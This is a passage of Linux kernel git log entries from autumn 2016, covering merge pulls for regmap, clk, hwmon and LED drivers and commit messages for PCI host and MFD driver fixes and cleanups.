Linus Torvalds [Tue, 4 Oct 2016 18:12:35 +0000 (11:12 -0700)]
Merge tag 'regmap-v4.9' of git://git./linux/kernel/git/broonie/regmap
Pull regmap updates from Mark Brown:
"Another quiet release, a few small extensions to the set of register
maps we support and an improvement in the debugfs code:
- allow viewing of cached contents for write only registers via
debugfs.
- support a wider range of read/write flag masks in register formats.
- support more little endian formats"
* tag 'regmap-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/regmap:
regmap: Add missing little endian functions
regmap: Allow longer flag masks for read and write
regmap: debugfs: Add support for dumping write only device registers
regmap: Add a function to check if a regmap register is cached
Linus Torvalds [Tue, 4 Oct 2016 18:04:57 +0000 (11:04 -0700)]
Merge tag 'clk-for-linus' of git://git./linux/kernel/git/clk/linux
Pull clk framework updates from Stephen Boyd:
"The core clk framework changes are small again. They're mostly minor
fixes that weren't causing enough problems (or any problems when we're
just clarifying things) to warrant sending outside the merge window.
The majority of changes are in drivers for various SoCs. Full details
are in the logs, but here's the summary.
Core:
- Better support for DeviceTree overlays with the addition of the
CLK_OF_DECLARE_DRIVER macro. Now we won't probe a clk driver for a
device node that matched during of_clk_init(), unless the driver
uses CLK_OF_DECLARE_DRIVER instead of CLK_OF_DECLARE. This allows
overlays to work cleanly for drivers that must probe before the
device model is ready, and also after it's ready when an overlay is
loaded.
- Clarification in the code around how clk_hw pointers are returned
from of clk providers
- Proper migration of prepare/enable counts to parents when the clk
tree is constructed
New Drivers:
- Socionext's UniPhier SoCs
- Loongson1C
- ZTE ZX296718
- Qualcomm MDM9615
- Amlogic GXBB AO clocks and resets
- Broadcom BCM53573 ILP
- Maxim MAX77620
Updates:
- Four Allwinner SoCs are migrated to the new style clk driver (A31,
A31s, A23 and A33)
- Exynos 5xxx audio and DRAM clks
- Loongson1B AC97, DMA and NAND clks
- Rockchip DDR clks and rk3399 driver tweaks
- Renesas R-Car M3-W (r8a7796) SoC SDHI interface and Watchdog timer
clks
- Renasas R-Car H3 and M3-W CMT clks and RAVB+Thermal clks for M3-W
- Amlogic GXBB MMC gate clks
- at91 sama5d4 sckc
- Removal of STiH415 and STiH416 clk support as the SoC is being
removed
- Rework of STiH4xx clk support for new style bindings
- Continuation of driver migration to clk_hw based registration APIs
- xgene PMD support
- bcm2835 critical clk markings
- ARM versatile ICST"
* tag 'clk-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux: (199 commits)
CLK: Add Loongson1C clock support
clk: Loongson1: Make use of GENMASK
clk: Loongson1: Update clocks of Loongson1B
clk: Loongson1: Refactor Loongson1 clock
clk: change the type of clk_hw_onecell_data.num to unsigned int
clk: zx296718: register driver earlier with core_initcall
clk: mvebu: dynamically allocate resources in Armada CP110 system controller
clk: mvebu: fix setting unwanted flags in CP110 gate clock
clk: nxp: clk-lpc32xx: Unmap region obtained by of_iomap
clk: mediatek: clk-mt8173: Unmap region obtained by of_iomap
clk: sunxi-ng: Fix reset offset for the A23 and A33
clk: at91: sckc: optimize boot time
clk: at91: Add sama5d4 sckc support
clk: at91: move slow clock controller clocks to sckc.c
clk: imx6: initialize GPU clocks
clk: imx6: fix i.MX6DL clock tree to reflect reality
clk: imx53: Add clocks configuration
clk: uniphier: add clock data for UniPhier SoCs
clk: uniphier: add core support code for UniPhier clock driver
clk: bcm: Add driver for BCM53573 ILP clock
...
Linus Torvalds [Tue, 4 Oct 2016 17:56:14 +0000 (10:56 -0700)]
Merge tag 'hwmon-for-linus-v4.9' of git://git./linux/kernel/git/groeck/linux-staging
Pull hwmon updates from Guenter Roeck:
- New hwmon registration API, including ports of several drivers to the
new API
- New hwmon driver for APM X-Gene SoC
- Added support for UCD90160, DPS-460, DPS-800, and SGD009 PMBUs chips
- Various cleanups, minor improvements, and fixes in several drivers
* tag 'hwmon-for-linus-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging: (54 commits)
hwmon: (nct6775) Add support for multiple virtual temperature sources
hwmon: (adt7470) No need for additional synchronization on kthread_stop()
hwmon: (lm95241) Update module description to include LM95231
hwmon: (lm95245) Select REGMAP_I2C
hwmon: (ibmpowernv) Fix label for cores numbers not threads
hwmon: (adt7470) Allow faster removal
hwmon: (adt7470) Add write support to alarm_mask
hwmon: (xgene) access mailbox as RAM
hwmon: (lm95245) Use new hwmon registration API
hwmon: (lm95241) Convert to use new hwmon registration API
hwmon: (jc42) Convert to use new hwmon registration API
hwmon: (max31790) Convert to use new hwmon registration API
hwmon: (nct7904) Convert to use new hwmon registration API
hwmon: (ltc4245) Convert to use new hwmon registration API
hwmon: (tmp421) Convert to use new hwmon registration API
hwmon: (tmp102) Convert to use new hwmon registration API
hwmon: (lm90) Convert to use new hwmon registration API
hwmon: (lm75) Convert to use new hwmon registration API
hwmon: (xgene) Fix crash when alarm occurs before driver probe
hwmon: (iio_hwmon) defer probe when no channel is found
...
Keith Busch [Tue, 4 Oct 2016 17:26:37 +0000 (12:26 -0500)]
x86/PCI: VMD: Move VMD driver to drivers/pci/host
Move the driver source and Kconfig to the PCI host bridge drivers directory
and move the config option to a more appropriate sub-menu instead of
occupying the top-level location.
Update the Kconfig option with the X86_64 dependency that was implicitly
included from the previous location, and add information about the module
name when built as a loadable module.
Signed-off-by: Keith Busch <keith.busch@intel.com>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
CC: Jon Derrick <jonathan.derrick@intel.com>
Linus Torvalds [Tue, 4 Oct 2016 17:25:53 +0000 (10:25 -0700)]
Merge branch 'for-next' of git://git./linux/kernel/git/j.anaszewski/linux-leds
Pull LED driver updates from Jacek Anaszewski:
"Three new LED class drivers and some minor fixes and improvementes to
the leds-gpio driver, LED Trigger core and documentation"
* 'for-next' of git://git.kernel.org/pub/scm/linux/kernel/git/j.anaszewski/linux-leds:
leds: triggers: Check return value of kobject_uevent_env()
leds: triggers: Return from led_trigger_set() if there is nothing to do
leds: gpio: fix and simplify error handling in gpio_leds_create
leds: gpio: switch to managed version of led_classdev_register
leds: gpio: fix and simplify reading property "label"
leds: gpio: simplify gpio_leds_create
leds: gpio: add helper cdev_to_gpio_led_data
leds: gpio: fix an unhandled error case in create_gpio_led
leds: gpio: introduce gpio_blink_set_t
leds: add driver for Mellanox systems LEDs
Documentation: move oneshot trigger attributes documentation to ABI
leds: centralize definition of "default-state" property
leds: add PM8058 LEDs driver
leds: pm8058: add device tree bindings
leds: do not overflow sysfs buffer in led_trigger_show
leds: make triggers explicitly non-modular
DT: leds: Add bindings for ISSI is31fl319x
leds: is31fl319x: 1/3/6/9-channel light effect led driver
Shawn Lin [Tue, 4 Oct 2016 17:20:22 +0000 (12:20 -0500)]
PCI: rockchip: Fix wrong transmitted FTS count
If the expected number of FTS aren't received by RC when exiting from L0s,
the LTSSM will fall into recover state, which means it will need to send TS
for retraining which makes the latency of exiting from L0s a little longer
than expected. This issue is caused by an incorrect reset value of FTS
count on PLC1 register (offset 0x4). The expected value for Gen1/2 should
be more than 240 and we may leave a little margin here. Fix this before
starting Gen1 training which will make TS1 contain the correct FTS count.
Signed-off-by: Shawn Lin <shawn.lin@rock-chips.com>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Shawn Lin [Fri, 23 Sep 2016 02:05:59 +0000 (10:05 +0800)]
PCI: rockchip: Improve the deassert sequence of four reset pins
Per TRM, we need to deassert the four reset pins simultaneously. Currently
the reset framework doesn't support that so we did it one by one. It seems
no side effect found but it does impact the state machine of controller, so
sometimes the change speed bit is not set when sending training sequence
from recover state. After the silicon RTL review from SoC guys, we don't
need to do the sequence recommended by TRM, and could just move the
deassert of mgmt_sticky_rst to the first place.
Signed-off-by: Shawn Lin <shawn.lin@rock-chips.com>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Rajat Jain [Fri, 23 Sep 2016 00:50:42 +0000 (17:50 -0700)]
PCI: rockchip: Increase the Max Credit update interval
Increase the likelihood of link state to automatically go to L1 and save
some power.
The default credit update interval of 7.5 us results in the rootport
sending UpdateFC-P and UpdateFC-NP packets too often, thus resulting in the
link never going to L1, and always staying in L0/L0s. The value 24 us was
chosen after some experiments and peeking over the PCIe bus to see that we
do enter L1 substate when there is not enough traffic on the PCIe bus.
Signed-off-by: Rajat Jain <rajatja@google.com>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Acked-by: Shawn Lin <shawn.lin@rock-chips.com>
Sergei Shtylyov [Thu, 22 Sep 2016 20:20:18 +0000 (23:20 +0300)]
PCI: rcar: Try increasing PCIe link speed to 5 GT/s at boot
The PCIe link speed is initially set to 2.5 GT/s. Try to increase the link
speed to 5 GT/s.
Based on original patch by Grigory Kletsko
<grigory.kletsko@cogentembedded.com>.
[bhelgaas: remove "Trying speed up" message, remove unused SPCHG]
Signed-off-by: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
Acked-by: Simon Horman <horms+renesas@verge.net.au>
Charles Keepax [Tue, 20 Sep 2016 15:30:14 +0000 (16:30 +0100)]
mfd: arizona: Handle probe deferral for reset GPIO
The Arizona CODECs will generally function correctly without a reset line
although it is strongly advised to have one, as such we do allow the system
to boot if the reset gpio is missing or incorrectly specified. However
we should fail probe if we get a probe deferral request, this patch adds
handling for this case.
Reported-by: Richard Fitzgerald <rf@opensource.wolfsonmicro.com>
Signed-off-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Charles Keepax [Tue, 20 Sep 2016 15:30:13 +0000 (16:30 +0100)]
mfd: arizona: Remove arizona_of_get_named_gpio helper function
This function is only used in a single place and no new users will be
added as all the devices other required GPIOs are already handled. As
such just merge the code back into the calling function.
Signed-off-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Richard Fitzgerald [Tue, 13 Sep 2016 09:05:44 +0000 (10:05 +0100)]
mfd: arizona: Add DT options for max_channels_clocked and PDM speaker config
This patch adds DT settings for the max_channels_clocked, spk_fmt and
spk_mute pdata.
Signed-off-by: Richard Fitzgerald <rf@opensource.wolfsonmicro.com>
Acked-by: Rob Herring <robh@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Peter Ujfalusi [Wed, 31 Aug 2016 11:46:21 +0000 (14:46 +0300)]
mfd: twl6040: Register child device for twl6040-pdmclk
The McPDM in OMAP4/5 is using the pdmclk from twl6040 as functional clock.
The twl6040-pdmclk driver provides a clock which can be used to make sure
that the pdmclk is active when the McPDM is in use.
Signed-off-by: Peter Ujfalusi <peter.ujfalusi@ti.com>
Acked-by: Rob Herring <robh@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Thu, 15 Sep 2016 10:41:34 +0000 (11:41 +0100)]
mfd: cros_ec_spi: Remove unused variable 'request'
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 11:04:43 +0000 (12:04 +0100)]
mfd: omap-usb-host: Return value is not 'const int'
Change from 'const int' to just 'int'.
Cc: <robh+dt@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 10:56:34 +0000 (11:56 +0100)]
mfd: ab8500-debugfs: Remove 'weak' function suspend_test_wake_cause_interrupt_is_mine()
There are no other functions which can over-ride it.
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 10:55:17 +0000 (11:55 +0100)]
mfd: ab8500-debugfs: Remove ab8500_dump_all_banks_to_mem()
Doesn't appear to be used. No call sites exist.
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 10:51:42 +0000 (11:51 +0100)]
mfd: db8500-prcmu: Remove unused *prcmu_set_ddr_opp() calls
There are no call sites for these functions. Strip them out.
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 10:14:30 +0000 (11:14 +0100)]
mfd: ab8500-debugfs: Prevent initialised field from being over-written
Due to the lack of parity in the way array fields have been named/
numbered, a mistake was made where more debug fields were declared
than actually existed. In doing so, 2 fields were added, which
although unclear, were already declared in the array. The result
was that the latter declarations trashed the former ones.
This patch places the array back in the correct order and removes
the offending NULL entries.
While we're at it, let's ensure this doesn't happen again by naming
each field properly and add a new *_LAST define to describe how
many fields there should be.
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Wed, 14 Sep 2016 09:44:27 +0000 (10:44 +0100)]
mfd: max8997-irq: 'inline' should be at the beginning of the declaration
Reported by [-Wold-style-declaration].
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Arnd Bergmann [Tue, 6 Sep 2016 13:13:01 +0000 (15:13 +0200)]
mfd: rk808: Fix RK818_IRQ_DISCHG_ILIM initializer
When building with -Woverride-init, we get a warning about an incorrect
initializer:
drivers/mfd/rk808.c:244:8: error: initialized field overwritten [-Werror=override-init]
[RK818_IRQ_DISCHG_ILIM] = {
This is clearly a mistake, as both RK818_IRQ_DISCHG_ILIM and RK818_IRQ_USB_OV
are defined as '7', but they refer to different register bits. Changing
RK818_IRQ_DISCHG_ILIM to 15 is consistent with how all other 14 interrupts are
handled here, so I'm assuming this is what it should have been.
Fixes:
2eedcbfc0612 ("mfd: rk808: Add RK818 support")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Andy Yan <andy.yan@rock-chips.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Arnd Bergmann [Wed, 14 Sep 2016 08:13:28 +0000 (10:13 +0200)]
mfd: tps65217: Fix nonstandard declaration
The tps65217 gained a new warning when building with W=1:
drivers/mfd/tps65217.c:85:1: error: 'inline' is not at beginning of declaration [-Werror=old-style-declaration]
This fixes it by putting the 'inline' modifier before 'const'.
Fixes:
262d5cc6ceb2 ("mfd: tps65217: Add support for IRQs")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Axel Lin [Tue, 6 Sep 2016 00:59:55 +0000 (08:59 +0800)]
mfd: lp873x: Remove unused mutex lock from struct lp873x
The mutex is not used, so remove it.
Signed-off-by: Axel Lin <axel.lin@ingics.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Boris Brezillon [Tue, 6 Sep 2016 12:19:29 +0000 (14:19 +0200)]
mfd: atmel-hlcdc: Do not sleep in atomic context
readl_poll_timeout() calls usleep_range(), but
regmap_atmel_hlcdc_reg_write() is called in atomic context (regmap
spinlock held).
Replace the readl_poll_timeout() call by readl_poll_timeout_atomic().
Cc: <stable@vger.kernel.org>
Fixes:
ea31c0cf9b07 ("mfd: atmel-hlcdc: Implement config synchronization")
Signed-off-by: Boris Brezillon <boris.brezillon@free-electrons.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Arnd Bergmann [Tue, 6 Sep 2016 13:24:00 +0000 (15:24 +0200)]
mfd: exynos-lpass: Mark PM functions as __maybe_unused
The newly added exynos lpass driver produces a build warning when
CONFIG_PM is disabled since the only callers of exynos_lpass_disable
are under an #ifdef:
drivers/mfd/exynos-lpass.c:93:13: error: 'exynos_lpass_disable' defined but not used [-Werror=unused-function]
static void exynos_lpass_disable(struct exynos_lpass *lpass)
This removes the #ifdef and replaces it with __maybe_unused annotations
so the compiler can leave out the unused code silently with less
room for mistakes.
Fixes:
36c26760bba8 ("mfd: Add Samsung Exynos Low Power Audio Subsystem driver")
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Reviewed-by: Sylwester Nawrocki <s.nawrocki@samsung.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Jarkko Nikula [Mon, 12 Sep 2016 11:41:33 +0000 (14:41 +0300)]
mfd: intel-lpss: Add default I2C device properties for Apollo Lake
Default I2C device properties for Intel Broxton, especially SDA hold time
may not be enough on Intel Apollo Lake. These properties are used in case
we don't get timing parameters from ACPI.
The default SDA hold time for Broxton may fail with arbitration lost errors
on Apollo Lake:
i2c_designware i2c_designware.1: i2c_dw_handle_tx_abort: lost arbitration
Fix this by using different default device properties on Apollo Lake than
Broxton.
Reported-by: Paul Liu <paul.liu@canonical.com>
Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=156181
Signed-off-by: Jarkko Nikula <jarkko.nikula@linux.intel.com>
Acked-by: Mika Westerberg <mika.westerberg@linux.intel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:54 +0000 (10:40 -0400)]
mfd: twl-core: Make it explicitly non-modular
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config TWL4030_CORE
drivers/mfd/Kconfig: bool "TI TWL4030/TWL5030/TWL6030/TPS659x0 Support"
...meaning that it currently is not being built as a module by anyone.
Lets remove what modular code that we can, so that when reading the
driver there is less doubt that it is builtin-only. Note that we can't
remove the twl_remove() itself ; it is still used by the probe unwind
routine. So we leave it linked into the .remove as well, even though
it will most likely never be called via that path from an unbind.
Since module_i2c_driver() uses the same init level priority as
builtin_i2c_driver() the init ordering remains unchanged with
this commit.
Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code.
We also delete the MODULE_LICENSE tag etc. since all that information
is already contained at the top of the file in the comments.
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Acked-by: Tony Lindgren <tony@atomide.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:53 +0000 (10:40 -0400)]
mfd: sun6i-prcm: Make it explicitly non-modular
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config MFD_SUN6I_PRCM
drivers/mfd/Kconfig: bool "Allwinner A31 PRCM controller"
...meaning that it currently is not being built as a module by anyone.
Lets remove the couple traces of modularity so that when reading the
driver there is no doubt it is builtin-only.
Since module_platform_driver() uses the same init level priority as
builtin_platform_driver() the init ordering remains unchanged with
this commit.
We also delete the MODULE_LICENSE tag etc. since all that information
is already contained at the top of the file in the comments.
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Acked-by: Maxime Ripard <maxime.ripard@free-electrons.com>
Acked-by: Boris Brezillon <boris.brezillon@free-electrons.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:52 +0000 (10:40 -0400)]
mfd: smsc-
ece1099: Make it explicitly non-modular
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config MFD_SMSC
drivers/mfd/Kconfig: bool "SMSC
ECE1099 series chips"
...meaning that it currently is not being built as a module by anyone.
Lets remove the modular code that is essentially orphaned, so that
when reading the driver there is no doubt it is builtin-only.
Since module_init was not in use by this code, the init ordering
remains unchanged with this commit.
We replace module.h with init.h and delete an unused moduleparam.h
include.
Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code.
We also delete the MODULE_LICENSE tag etc. since all that information
is already contained at the top of the file in the comments.
Cc: Sourav Poddar <sourav.poddar@ti.com>
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:51 +0000 (10:40 -0400)]
mfd: intel_msic: Make it explicitly non-modular
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config MFD_INTEL_MSIC
drivers/mfd/Kconfig: bool "Intel MSIC
...meaning that it currently is not being built as a module by anyone.
Lets remove the couple instances of module references, so that
when reading the driver there is no doubt it is builtin-only.
Since module_platform_driver() uses the same init level priority as
builtin_platform_driver() the init ordering remains unchanged with
this commit.
We also delete the MODULE_LICENSE tag etc. since all that information
is already contained at the top of the file in the comments.
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Acked-by: Mika Westerberg <mika.westerberg@linux.intel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:50 +0000 (10:40 -0400)]
mfd: as3722: Convert MFD_AS3722 from bool to tristate
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config MFD_AS3722
drivers/mfd/Kconfig: bool "ams AS3722 Power Management IC"
...meaning that it currently is not being built as a module by anyone.
In response to an earlier patch set suggesting removal of the unused
modular code, Laxman suggested that this driver be instead moved to
tristate.
We do that here, and confirm it can build and modpost as a tristate.
However there remains to be runtime testing in order to ensure this
change is 100% functional for "=m".
Cc: Florian Lobmaier <florian.lobmaier@ams.com>
Cc: Laxman Dewangan <ldewangan@nvidia.com>
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Paul Gortmaker [Mon, 12 Sep 2016 14:40:49 +0000 (10:40 -0400)]
mfd: altera-a10sr: Make it explicitly non-modular
The Kconfig currently controlling compilation of this code is:
drivers/mfd/Kconfig:config MFD_ALTERA_A10SR
drivers/mfd/Kconfig: bool "Altera Arria10 DevKit System Resource chip"
...meaning that it currently is not being built as a module by anyone.
Lets remove the modular code that is essentially orphaned, so that
when reading the driver there is no doubt it is builtin-only.
Since builtin_driver() uses the same init level priority as
module_spi_driver() the init ordering remains unchanged with
this commit. [Note that there is no builtin_spi_driver macro,
so we open-code what it would be via builtin_driver().]
Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code.
We also delete the MODULE_LICENSE tag etc. since all that information
was (or is now) contained at the top of the file in the comments.
Cc: Thor Thayer <tthayer@opensource.altera.com>
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Marcin Niestroj [Fri, 9 Sep 2016 08:42:03 +0000 (10:42 +0200)]
mfd: tps65217: Add power button as subdevice
Add tps65217 power buttor subdevice with assigned IRQ resources.
Signed-off-by: Marcin Niestroj <m.niestroj@grinn-global.com>
Acked-by: Tony Lindgren <tony@atomide.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Marcin Niestroj [Fri, 9 Sep 2016 08:42:02 +0000 (10:42 +0200)]
mfd: tps65217: Add support for IRQs
Add support for handling IRQs: power button, AC and USB power state
changes. Mask and interrupt bits are shared within one register, which
prevents us to use regmap_irq implementation. New irq_domain is created in
order to add interrupt handling for each tps65217's subsystem. IRQ
resources have been added for charger subsystem to be able to notify about
AC and USB state changes.
Signed-off-by: Marcin Niestroj <m.niestroj@grinn-global.com>
Reviewed-by: Grygorii Strashko <grygorii.strashko@ti.com>
Tested-by: Tony Lindgren <tony@atomide.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Julia Lawall [Sun, 11 Sep 2016 12:14:38 +0000 (14:14 +0200)]
mfd: sm501: Constify gpio_chip structures
These structures are only used to copy into other structures, so declare
them as const.
The semantic patch that makes this change is as follows:
(http://coccinelle.lip6.fr/)
// <smpl>
@r disable optional_qualifier@
identifier i;
position p;
@@
static struct gpio_chip i@p = { ... };
@ok@
identifier r.i;
expression e;
position p;
@@
e = i@p;
@bad@
position p != {r.p,ok.p};
identifier r.i;
struct gpio_chip e;
@@
e@i@p
@depends on !bad disable optional_qualifier@
identifier r.i;
@@
static
+const
struct gpio_chip i = { ... };
// </smpl>
Signed-off-by: Julia Lawall <Julia.Lawall@lip6.fr>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Andrew Jeffery [Thu, 8 Sep 2016 05:13:18 +0000 (14:43 +0930)]
syscon: dt-bindings: Add documentation for Aspeed system control units
Signed-off-by: Andrew Jeffery <andrew@aj.id.au>
Acked-by: Rob Herring <robh@kernel.org>
Acked-by: Joel Stanley <joel@jms.id.au>
Acked-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lee Jones [Thu, 8 Sep 2016 07:02:36 +0000 (08:02 +0100)]
MAINTAINERS: Add MFD's DT bindings directory to MFD entry
Reviewed-by: Andrew Jeffery <andrew@aj.id.au>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Arnd Bergmann [Tue, 6 Sep 2016 13:53:29 +0000 (15:53 +0200)]
mfd: ucb1x00: Remove NO_IRQ check
probe_irq_off() returns '0' on failure, not NO_IRQ, so the check
in this driver is clearly wrong. This replaces it with the
regular '!irq' check used in other drivers.
The sa1100 platform that this driver is used on originally numbered
all its interrupts starting at '0', which would have conflicted with
this change, but as of commit
18f3aec ("ARM: 8230/1: sa1100: shift
IRQs by one"), this is not a problem any more.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Wenyou Yang [Thu, 1 Sep 2016 09:30:00 +0000 (17:30 +0800)]
doc: bindings: mfd: act8945a: Update the example
Since the act8945a-charger is regarded as a sub-device and it using
"interrupts" property, update the examples section.
Signed-off-by: Wenyou Yang <wenyou.yang@atmel.com>
Acked-by: Rob Herring <robh@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Peter Ujfalusi [Wed, 31 Aug 2016 11:46:20 +0000 (14:46 +0300)]
mfd: twl6040: The chip does not support bulk access
Bulk access is not working with twl6040, we need to use single register
access. Bulk access would happen when we try to sync the regcache after
power on.
Signed-off-by: Peter Ujfalusi <peter.ujfalusi@ti.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Charles Keepax [Tue, 30 Aug 2016 09:33:10 +0000 (10:33 +0100)]
mfd: arizona: Use suspend_noirq inplace of suspend_late
As runtime PM doesn't function whilst processing system suspend/resume
operations and the Arizona IRQ handlers need runtime PM to function
we must disable IRQs during these operations. Whilst this is
already done in the driver we are using suspend/suspend_late and
resume/resume_noirq to do so which has two problems. Firstly, as
suspend_late is before suspend_noirq that means we still have a
small window where an IRQ can cause issues. Secondly, if another
suspend_late handler fails after ours has run then (as resume_noirq
will not run) we will make unbalanced calls to enable_irq.
This is all simply fixed by using the suspend_noirq callback rather
than suspend_late. Whilst we are doing this tidy the code up a little,
and use the appropriate helper macros.
Signed-off-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Wenyou Yang [Thu, 25 Aug 2016 07:19:49 +0000 (15:19 +0800)]
mfd: act8945a: Add .of_compatible for act8945a-charger
To regard the act8945a-charger as a sub-device, add .of_compatible for
act8945a-charger cell.
Signed-off-by: Wenyou Yang <wenyou.yang@atmel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Charles Keepax [Wed, 31 Aug 2016 09:41:30 +0000 (10:41 +0100)]
mfd: arizona: Add sensible return value to some error paths
There are some cases in arizona_dev_init, such as where we don't
recognise the chip ID, in which we head to the error path without
setting a sensible error code in ret. This would lead to the chip
silently failing probe, as it would still return 0. Fix this up by
adding appropriate sets of the return value.
Whilst adding these update the existing paths that do return an error
when the chip is not recognised to use ENODEV, which seems like a better
fit.
Signed-off-by: Charles Keepax <ckeepax@opensource.wolfsonmicro.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Sylwester Nawrocki [Wed, 10 Aug 2016 14:48:20 +0000 (16:48 +0200)]
mfd: Add Samsung Exynos Low Power Audio Subsystem driver
This patch adds common driver for the Top block of the Samsung Exynos
SoC Low Power Audio Subsystem. This is a minimal driver which prepares
resources for IP blocks like I2S, audio DMA and UART and exposes
a regmap for the Top block registers. Also system power ops are added
to ensure the Audio Subsystem is operational after system suspend/resume
cycle.
Signed-off-by: Inha Song <ideal.song@samsung.com>
Signed-off-by: Beomho Seo <beomho.seo@samsung.com>
Signed-off-by: Sylwester Nawrocki <s.nawrocki@samsung.com>
Tested-by: Chanwoo Choi <cw00.choi@samsung.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Sylwester Nawrocki [Wed, 10 Aug 2016 14:48:19 +0000 (16:48 +0200)]
mfd: Add DT bindings documentation for Samsung Exynos LPASS
This patch adds documentation of the DT bindings for the Samsung
Exynos SoC Low Power Audio Subsystem.
Signed-off-by: Sylwester Nawrocki <s.nawrocki@samsung.com>
Acked-by: Rob Herring <robh@kernel.org>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Steve Twiss [Wed, 6 Jul 2016 15:12:03 +0000 (16:12 +0100)]
mfd: da9053: Ensure the FAULT_LOG is cleared during MFD driver probe
The function da9052_clear_fault_log() is added to mitigate the case of
persistent data being transferred between reboots.
Clearance of any the persistent information within the DA9053 FAULT_LOG
register must be completed during start-up so the fault-log does not
continue with previous values. A clearance function has been added here in
the kernel driver because wiping the fault-log cannot be counted on outside
the Linux kernel.
Signed-off-by: Steve Twiss <stwiss.opensource@diasemi.com>
Reviewed-by: Adam Thomson <adam.thomson.opensource@diasemi.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Markus Elfring [Thu, 11 Aug 2016 11:30:32 +0000 (13:30 +0200)]
mfd: dm355evm_msp: Refactoring for add_child()
Adjust jump targets according to the Linux coding style convention.
Another check for the variable "status" can be omitted then at the end.
Link: https://lkml.kernel.org/g/<20160628163146.GG29166@dell>
Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Lu Baolu [Thu, 11 Aug 2016 02:39:03 +0000 (10:39 +0800)]
mfd: rtsx_usb: Avoid setting ucr->current_sg.status
Member "status" of struct usb_sg_request is managed by usb core. A
spin lock is used to serialize the change of it. The driver could
check the value of req->status, but should avoid changing it without
the hold of the spinlock. Otherwise, it could cause race or error
in usb core.
This patch could be backported to stable kernels with version later
than v3.14.
Cc: stable@vger.kernel.org # 3.14+
Cc: Alan Stern <stern@rowland.harvard.edu>
Cc: Roger Tseng <rogerable@realtek.com>
Signed-off-by: Lu Baolu <baolu.lu@linux.intel.com>
Signed-off-by: Lee Jones <lee.jones@linaro.org>
Russell King [Tue, 30 Aug 2016 11:00:25 +0000 (12:00 +0100)]
